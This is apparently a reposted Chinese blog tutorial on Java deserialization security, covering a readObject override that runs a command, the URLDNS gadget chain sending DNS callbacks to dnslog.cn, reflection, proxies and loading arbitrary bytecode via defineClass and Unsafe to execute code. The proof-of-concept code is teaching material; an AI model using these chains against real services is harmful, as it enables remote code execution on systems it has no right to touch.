Java反序列化学习

前言

早知前路多艰苦，仙尊悔而我不悔。Java反序列化，免费一位，开始品鉴，学了这么久web，还没深入研究Java安全，人生一大罪过。诸君，请看。
序列化与反序列化

简单demo：

1. import java.io.FileInputStream;
2. import java.io.FileOutputStream;
3. import java.io.ObjectInputStream;
4. import java.io.ObjectOutputStream;
5. import java.io.Serializable;
7. public class serialize implements Serializable{
8.     private String name;
9.     private int age;
10.     serialize(String name, int age){
11.         this.name = name;
12.         this.age = age;
13.     }
15.     public String getName() {
16.         return name;
17.     }
18.     public int getAge() {
19.         return age;
20.     }
21.     public void setName(String name) {
22.         this.name = name;
23.     }
24.     public void setAge(int age) {
25.         this.age = age;
26.     }
27.     public static void main(String[] args) throws Exception  {
28.         // 序列化
29.         FileOutputStream fos = new FileOutputStream("serialize.bin");
30.         ObjectOutputStream oos = new ObjectOutputStream(fos);
31.         serialize serialize = new serialize("f12", 20);
32.         oos.writeObject(serialize);
33.         oos.close();
34.         // 反序列化
35.         FileInputStream fis = new FileInputStream("serialize.bin");
36.         ObjectInputStream ois = new ObjectInputStream(fis);
37.         serialize s = (serialize) ois.readObject();
38.         ois.close();
39.         System.out.print(s);
40.     }
41. }
43. // 输出
44. serialize@3b07d329

复制代码

可以看出writeObject就是序列化（注：只有实现了Serializable接口的类才能被序列化），readObject就是反序列化，建议自己上手不看demo敲。那么这将造成什么问题，很明显，当用户能控制序列化的数据时，而服务端又有反序列化的操纵时，这时将任人拿捏。我想实行什么操纵就能实行什么操纵
大概的形式

• 入口类的readObejct直接调用危险方法
  
• 入口类参数包罗可控类，可控类里有危险方法
  
• 入口类参数包罗可控类，该类又调用其他含危险方法的类
  
• 构造函数/静态代码块等类加载时隐式实行
  

java反序列化导致实行系统下令

简单demo：

1. import java.io.FileInputStream;
2. import java.io.FileOutputStream;
3. import java.io.IOException;
4. import java.io.ObjectInputStream;
5. import java.io.ObjectOutputStream;
6. import java.io.Serializable;
8. public class serialize implements Serializable{
9.     private String name;
10.     private int age;
11.     serialize(String name, int age){
12.         this.name = name;
13.         this.age = age;
14.     }
16.     public String getName() {
17.         return name;
18.     }
19.     public int getAge() {
20.         return age;
21.     }
22.     public void setName(String name) {
23.         this.name = name;
24.     }
25.     public void setAge(int age) {
26.         this.age = age;
27.     }
29.     private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException{
30.         ois.defaultReadObject();
31.         Runtime.getRuntime().exec("calc");
32.     }
33.     public static void main(String[] args) throws Exception  {
34.         FileOutputStream fos = new FileOutputStream("serialize.bin");
35.         ObjectOutputStream oos = new ObjectOutputStream(fos);
36.         oos.writeObject(new serialize("f12", 20));
37.         oos.close();
38.         FileInputStream fis = new FileInputStream("serialize.bin");
39.         ObjectInputStream ois = new ObjectInputStream(fis);
40.         serialize s = (serialize) ois.readObject();
41.         System.out.println(s);
42.     }
43. }

复制代码

重写serialize类的readObject方法，当对serialize举行反序列化时调用的是重写后的readObject方法，也就会弹出盘算器。不过这种情况基本不会发生（不会有人这么蠢，危险函数直接写在readObject里），通常是通过找到一条gadget，通过构造，最终在某个重写的readObject中实行下令。
反序列化的思绪

• 都继续了Serializeable接口
  
• 入口类source(重写readObject、参数类型宽泛、jdk自带就更好、常见函数）
  
• 调用链(gadget chain)
  
• 实行类 sink(ssrf,rce....)
  

入口类

入口类一般是Map,Hashmap,HashTable这些集合类，由于集合类型宽泛（泛型），因此肯定继续了Serializeable接口，在Hashmap类中也重写了readObject方法：

为什么HashMap要自己实现writeObject和readObject方法
为什么要自己实现？如上文章所诉
调用链

所谓调用链就是一条完整的下令实行流程，在入口类中的readObject方法中，最好有一些常见的方法，如许不管我们传什么东西进去，他都可以调用这个方法，也加大了进一步探索的大概调用链中一般会使用很多重名函数，为了实现差别的结果
实行类

Java反序列化的目的就是为了实行下令，以是最终得找到一个可以实行下令的类，这是相对比较困难的
反序列化漏洞入门（URLDNS）分析

漏洞分析

开局先找重写了readObject的类，这里直接看HashMap：

这里s是我们可控，变化成key，进入了hash函数，继续跟进

这里调用了key的hashCode函数，也就是调用了我们可控类的hashCode函数，以是说同名函数在反序列化中是非常重要的，由于这里分析的是URLDNS链，我们看URL类中有无hashCode函数：

找到，这里有个判断，如果hashCode不等于-1，就直接返回，否则就进入handler.hashCode函数，在URL类中hashCode的值默认是-1，以是我们跟进：

这里重点在于getHostAddress，顾名思义获取host地址，如果我们传入我们vps的地址，是不是就会访问我们的vps了呢？这里使用dnslog来测试：

1. import java.io.FileInputStream;
2. import java.io.FileOutputStream;
3. import java.io.ObjectInputStream;
4. import java.io.ObjectOutputStream;
5. import java.io.Serializable;
6. import java.net.MalformedURLException;
7. import java.net.URL;
8. import java.util.HashMap;
10. public class URLDNS implements Serializable{
11.     public static void serialize(Object obj) throws Exception{
12.         FileOutputStream fos = new FileOutputStream("urldns.bin");
13.         ObjectOutputStream oos = new ObjectOutputStream(fos);
14.         oos.writeObject(obj);
15.     }
16.     public static void deserialize(String filename) throws Exception{
17.         FileInputStream fis = new FileInputStream(filename);
18.         ObjectInputStream ois = new ObjectInputStream(fis);
19.         ois.readObject();
20.     }
21.     public static void main(String[] args) throws Exception{
22.         HashMap<URL,Integer> hashmap = new HashMap<>();
23.         try {
24.             URL url = new URL("http://zanqlw.dnslog.cn/");
25.             hashmap.put(url,1);
26.             serialize(hashmap);
27.             deserialize("urldns.bin");
28.         } catch (MalformedURLException e) {
29.             e.printStackTrace();
30.         }
31.     }
32. }

复制代码

成功拿到请求

之后才注意到一个问题，我们就算不序列化和反序列化都能拿到请求，这是为什么？问题出如今hashmap.put这里，我们调试追踪一下：

发如今put的时候就触发了这里的getHostAddress，这时hashCode的值已经发生了改变，以是反序列化的时候根本就没触发DNS请求

那么怎么才能让我们反序列化的时候也触发DNS请求呢？hashCode的值肯定是要修改回-1的，如果要求只让我们反序列化的时候才触发DNS请求，put时的hashCode就不能是-1，以是怎么才能控制hashCode的值呢？这就必要用到反射的知识了
java反射

有反射就有正射
正射：通俗来讲就是我们常用的new，通过实例化类来获取一个对象
反射：跟正射反过来，通过实例化一个对象来获取它的类
举个栗子：

1. package f12;
2. import java.io.FileOutputStream;
3. import java.io.ObjectOutputStream;
4. import java.lang.reflect.*;
6. public class reflect {
7.     public static void Serialize(Object obj) throws Exception {
8.         FileOutputStream fos = new FileOutputStream("user.bin");
9.         ObjectOutputStream oos = new ObjectOutputStream(fos);
10.         oos.writeObject(obj);
11.     }
12.     public static void main(String[] args) throws Exception {
13.         // 正射
14.         user user = new user("f12", 20);
15.         Serialize(user);
16.         // 反射
17.         Class c = user.getClass();
18.         Constructor constructor = c.getConstructor(String.class, int.class);
19.         // 获取构造函数
20.         user newuser = (user) constructor.newInstance("F12", 21);
21.         System.out.println(newuser.getName());
22.         // 修改属性
23.         Field name = c.getDeclaredField("name");
24.         // 设置允许修改私有属性
25.         name.setAccessible(true);
26.         name.set(newuser, "F13");
27.         System.out.println(newuser.getName());
28.     }
29. }
30. // 输出
31. F12
32. F13

复制代码

可以看出通过反射修改了对象的值，那么就能举行操纵了
再战URLDNS

1. import java.io.FileInputStream;
2. import java.io.FileOutputStream;
3. import java.io.ObjectInputStream;
4. import java.io.ObjectOutputStream;
5. import java.io.Serializable;
6. import java.lang.reflect.Constructor;
7. import java.lang.reflect.Field;
8. import java.net.MalformedURLException;
9. import java.net.URL;
10. import java.util.HashMap;
12. public class URLDNS implements Serializable{
13.     public static void serialize(Object obj) throws Exception{
14.         FileOutputStream fos = new FileOutputStream("urldns.bin");
15.         ObjectOutputStream oos = new ObjectOutputStream(fos);
16.         oos.writeObject(obj);
17.     }
18.     public static void deserialize(String filename) throws Exception{
19.         FileInputStream fis = new FileInputStream(filename);
20.         ObjectInputStream ois = new ObjectInputStream(fis);
21.         ois.readObject();
22.     }
23.     public static void main(String[] args) throws Exception{
24.         HashMap<URL,Integer> hashmap = new HashMap<>();
25.         try {
26.             URL url = new URL("http://vcx4cu.dnslog.cn/");
27.             Class u = url.getClass();
28.             Constructor constructor = u.getConstructor(String.class);
29.             URL newurl = (URL)constructor.newInstance("http://vcx4cu.dnslog.cn/");
30.             Field hashCode = u.getDeclaredField("hashCode");
31.             hashCode.setAccessible(true);
32.             hashCode.set(newurl, 1);
33.             hashmap.put(newurl, 1);
34.             hashCode.set(newurl, -1);
35.             serialize(hashmap);
36.             deserialize("urldns.bin");
37.         } catch (MalformedURLException e) {
38.             e.printStackTrace();
39.         }
40.     }
41. }

复制代码

成功复仇
JDK静态代理

一个demo：

1. package Proxy;
3. public interface Interface {
4.     void rent();
5.     void pay();
6. }

复制代码

1. package Proxy;
3. public class Direct implements Interface{
4.     public void rent(){
5.         System.out.println("租房");
6.     }
7.     public void pay(){
8.         System.out.println("付款");
9.     }
10. }

复制代码

1. package Proxy;
3. public class Proxy implements Interface{
4.     public Interface user;
5.     Proxy(Interface user){
6.         this.user = user;
7.     }
8.     public void rent(){
9.         user.rent();
10.         System.out.println("中介帮你租房");
11.     }
12.     public void pay(){
13.         user.pay();
14.         System.out.println("中介帮你付款");
15.     }
16. }

复制代码

1. package Proxy;
3. public class Main {
4.     public static void main(String[] args) {
5.         Interface user = new Direct();
6.         Interface newuser = new Proxy(user);
7.         System.out.println("你自己:");
8.         user.rent();
9.         user.pay();
10.         System.out.println("找中介:");
11.         newuser.rent();
12.         newuser.pay();
13.     }
14. }

复制代码

以上就是一个静态代理的例子，Proxy类相称于中介，我们可以通过它间接的去调用Direct的方法

静态代理的缺点就是当我们修改接口的化，Direct和Proxy类都得修改
JDK动态代理

1. package Proxy;
3. import java.lang.reflect.InvocationHandler;
4. import java.lang.reflect.Method;
6. public class UserInvokationHandler implements InvocationHandler {
7.     Interface user;
8.     UserInvokationHandler(Interface user){
9.         this.user = user;
10.     }
11.     @Override
12.     public Object invoke(Object invoke, Method method, Object[] args) throws Throwable{
13.         System.out.println("这里是动态代理，调用了方法："+method.getName());
14.         method.invoke(user, args);
15.         return null;
16.     }
17. }

复制代码

1. package Proxy;
2. import java.lang.reflect.Proxy;
3. public class Main {
4.     public static void main(String[] args) {
5.         Interface user = new Direct();
6.         // 动态代理
7.         UserInvokationHandler userInvokationHandler = new UserInvokationHandler(user);
8.         Interface newuser = (Interface) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userInvokationHandler);
9.         newuser.rent();
10.         newuser.pay();
11.     }
12. }

复制代码

以上就是动态代理，大概有点难以明白，总体上就是创建一个动态代理类，这里重写了invoke方法，方便展示，然后创建一个动态代理实例，传入的参数是Direct类的类加载器和接口，如许就代理上了Direct类，可以调用Direct类的方法了

动态代理与反序列化的关系

其实就是由于大概没有同名函数导致无法实行下令的问题，如果我们必要最终反序列化时实行B.danger()，我们的入口类时A(Object obj)，但是A类里面并没有同名函数danger，只有A.abc => B.abc，obj为我们可控的类，但如果obj是个代理类，obj(Object obj2)，而这个代理类里调用了danger，那么我们就可以用obj来代理B类，从而调用到B类的danger函数，即让obj2为B类
类的动态加载

起首先容两个代码块：
构造代码块和静态代码块：

1. {
2.     System.out.println("构造代码块");
3. }
5. static {
6. System.out.println("静态代码块");
7. }

复制代码

这里涉及到一个类加载的问题，类加载的时候会实行代码(初始化)

1. package ClassLoader;
3. public class User {
4.     static {
5.         System.out.println("静态代码块");
6.     }
8.     {
9.         System.out.println("构造代码块");
10.     }
12.     User() {
13.         System.out.println("无参构造函数");
14.     }
16.     User(String key) {
17.         System.out.println("有参构造函数");
18.     }
19. }

复制代码

1. package ClassLoader;
3. public class Test {
4.     public static void main(String[] args) throws ClassNotFoundException {
5.         Class.forName("ClassLoader.User");
6.     }
7. }
9. // 输出
10. 静态代码块

复制代码

很明显这里只加载了静态代码块，其余代码块并未实行，我们可以设置类加载的时候不举行初始化，可以看到forName方法中initialize的默认值是true

1. package ClassLoader;
3. public class Test {
4.     public static void main(String[] args) throws ClassNotFoundException {
5.         Class.forName("ClassLoader.User", false, ClassLoader.getSystemClassLoader());
6.     }
7. }
8. // 无输出

复制代码

设置不初始化的化，就不会实行代码，再来说说实例化也就我们的new，实例化跟初始化是差别的

1. package ClassLoader;
3. public class Test {
4.     public static void main(String[] args) throws ClassNotFoundException {
5.         new User();
6.     }
7. }
9. // 输出
10. 静态代码块
11. 构造代码块
12. 无参构造函数

复制代码

可以看到实例化是两个代码块都实行了，这就是实例化跟初始化的区别
双亲委派机制

所谓的双亲委派机制，指的就是：当一个类加载器收到了类加载的请求的时候，他不会直接去加载指定的类，而是把这个请求委托给自己的父加载器去加载。只有父加载器无法加载这个类的时候，才会由当前这个加载器来负责类的加载。
Java中提供的这四种类型的加载器，是有各自的职责的：

• Bootstrap ClassLoader ，主要负责加载Java核心类库，%JRE_HOME%\lib下的rt.jar、resources.jar、charsets.jar和class等。
  
• Extention ClassLoader，主要负责加载目录%JRE_HOME%\lib\ext目录下的jar包和class文件。
  
• Application ClassLoader ，主要负责加载当前应用的classpath下的全部类
  
• User ClassLoader ， 用户自界说的类加载器,可加载指定路径的class文件
  

如许看来的话，用户自界说的类是不会让前两个加载器举行加载的，这里调试跟进一下加载过程

这里调用了loadclass，继续跟进

到这里，判断父加载器是否为空，不为空就调用父加载器举行加载

上面父加载器没找到，返回了APPClassLoader，这里进入URLClassLoader

然后进入defineClass

从结果上看加载进了User类的字节码，分析一下加载器的流程
ClassLoader->SecureClassloader->urlclassloaer->applicationclassloaer->loadclass->defineclass(加载字节码）
URLClassLoader任意类加载

这个类加载器里有个loadclass方法可以通过url来加载类，起首再本地起个web服务

1. package ClassLoader;
3. import java.net.MalformedURLException;
4. import java.net.URL;
5. import java.net.URLClassLoader;
7. public class Test {
8.     public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
9.         URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999/")});
10.         Class user = urlClassLoader.loadClass("ClassLoader.User");
11.         user.newInstance();
12.     }
13. }
15. // 输出
16. 静态代码块
17. 构造代码块
18. 无参构造函数

复制代码

ClassLoader加载字节码实行下令

ClassLoader.defineClass可以通过加载类的字节码来加载类，我们可以通过反射来获取到defineClass方法，加载我们自界说的类，来实行下令

1. package ClassLoader;
3. import java.io.IOException;
5. public class Eval {
6.     static {
7.         try {
8.             Runtime.getRuntime().exec("calc");
9.         } catch (IOException e) {
10.             throw new RuntimeException(e);
11.         }
12.     }
14.     public static void main(String[] args) {
16.     }
17. }

复制代码

1. package ClassLoader;
3. import java.io.IOException;
4. import java.lang.reflect.InvocationTargetException;
5. import java.lang.reflect.Method;
6. import java.net.MalformedURLException;
7. import java.net.URL;
8. import java.net.URLClassLoader;
9. import java.nio.file.Files;
10. import java.nio.file.Paths;
12. public class Test {
13.     public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
14.         Method defindClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
15.         defindClass.setAccessible(true);
16.         byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\out\\production\\Java安全学习\\ClassLoader\\Eval.class"));
17.         ClassLoader cl = ClassLoader.getSystemClassLoader();
18.         Class eval = (Class) defindClass.invoke(cl, "ClassLoader.Eval", bytes,0, bytes.length );
19.         eval.newInstance();
20.     }
21. }

复制代码

Unsafe加载字节码

1. package ClassLoader;
3. import sun.misc.Unsafe;
5. import java.io.IOException;
6. import java.lang.reflect.Field;
7. import java.lang.reflect.InvocationTargetException;
8. import java.lang.reflect.Method;
9. import java.net.MalformedURLException;
10. import java.net.URL;
11. import java.net.URLClassLoader;
12. import java.nio.file.Files;
13. import java.nio.file.Paths;
15. public class Test {
16.     public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
17.         byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\out\\production\\Java安全学习\\ClassLoader\\Eval.class"));
18.         Field f = Unsafe.class.getDeclaredField("theUnsafe");
19.         f.setAccessible(true);
20.         Unsafe unsafe = (Unsafe) f.get(null);
21.         ClassLoader cl = ClassLoader.getSystemClassLoader();
22.         Class eval = unsafe.defineClass("ClassLoader.Eval",bytes,0, bytes.length, cl, null);
23.         eval.newInstance();
24.     }
25. }

复制代码

这里我们获取的是Unsafe的属性，而不是它的defineclass方法，由于它被native修饰，没法被反射调用

而它的属性theUnsafe其实就是Unsafe对象，以是获取这个属性，再调用defineclass来加载我们的自界说类

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。